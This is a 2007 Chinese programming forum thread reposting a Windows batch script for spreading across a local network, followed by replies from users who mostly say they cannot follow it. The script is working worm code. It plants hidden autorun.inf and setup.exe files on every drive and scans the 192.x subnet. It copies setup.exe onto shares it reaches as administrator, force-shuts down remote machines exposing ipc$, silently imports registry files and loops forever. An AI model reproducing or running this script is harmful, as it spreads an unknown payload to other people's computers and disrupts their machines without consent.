注册 登录
编程论坛 Windows论坛

[转载]批处理现实局域网传播

zlm821207 发布于 2007-08-19 10:00, 1041 次点击
以下内容来自中国批处理论坛(www.mybat.cn)
@echo off
set hty1=%windir%\system32\
:sm
attrib -r -s -h %hty1%setup.exe & attrib -r -s -h %hty1%autorun.inf
for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do (
fsutil fsinfo drives | findstr /i %%i || goto attr
dir /a/b %%i:\autorun.inf && attrib -r -s -h %%i:\autorun.inf
copy %hty1%autorun.inf %%i: & attrib +r +s +h %%i:\autorun.inf
dir /a/b %%i:\setup.exe || (copy %hty1%setup.exe %%i: && attrib +r +s +h %%i:\setup.exe)
)
:attr
attrib +r +s +h %hty1%setup.exe & attrib +r +s +h %hty1%autorun.inf
ipconfig /all |find /i "ip address" || (ping 127.1 -n 10 && goto sm)
for /f "tokens=15" %%i in ('ipconfig /all^|find /i "ip address"') do (
for /f "tokens=1-3 delims=." %%a in ("%%i") do (
if %%a EQU 192 (
for /l %%e in (1,1,255) do (
ping %%a.%%b.%%c.%%e -n 1 -l 1 -w 1 &&(
for /f "skip=7 eol=命" %%t in ('net view \\%%a.%%b.%%c.%%e') do (
if "%%t" NEQ "" (
net use \\%%a.%%b.%%c.%%e\%%t /u:administrator && (attrib -r -s -h %hty1%setup.exe && copy %hty1%setup.exe \\%%a.%%b.%%c.%%e\%%t && attrib +r +s +h %hty1%setup.exe)
if "%%t" EQU "ipc$" shutdown -s -f -t 0 -m \\%%a.%%b.%%c.%%e
)
))
)
) else ping 127.1 -n 20
)
)
regedit /s %windir%\system32\expl.reg>nul 2>nul
regedit /s %windir%\system32\high.reg>nul 2>nul
goto sm
7 回复
#2
执子之手2007-08-22 22:40
传播什么东西?
想传播东西怎么弄 还请教详细点 偶巨菜看不懂批处理
#3
无理取闹2007-08-22 23:00
setup.exe
#4
花花公子2007-08-23 10:20
看不懂哦
#5
shensi882007-08-24 12:24
如果有可能的话,最好加上说明.
#6
呆呆的出行者2007-10-09 12:54
我也巨菜,看了半天也没看懂也
#7
redice2007-10-09 13:06
使用 IPC$共享? 哈哈 现在恐怕不行了 不过在装Win2000的网吧里你可以试试 哈哈
#8
lthiy2007-10-13 23:40
百分号太多了,看不懂
1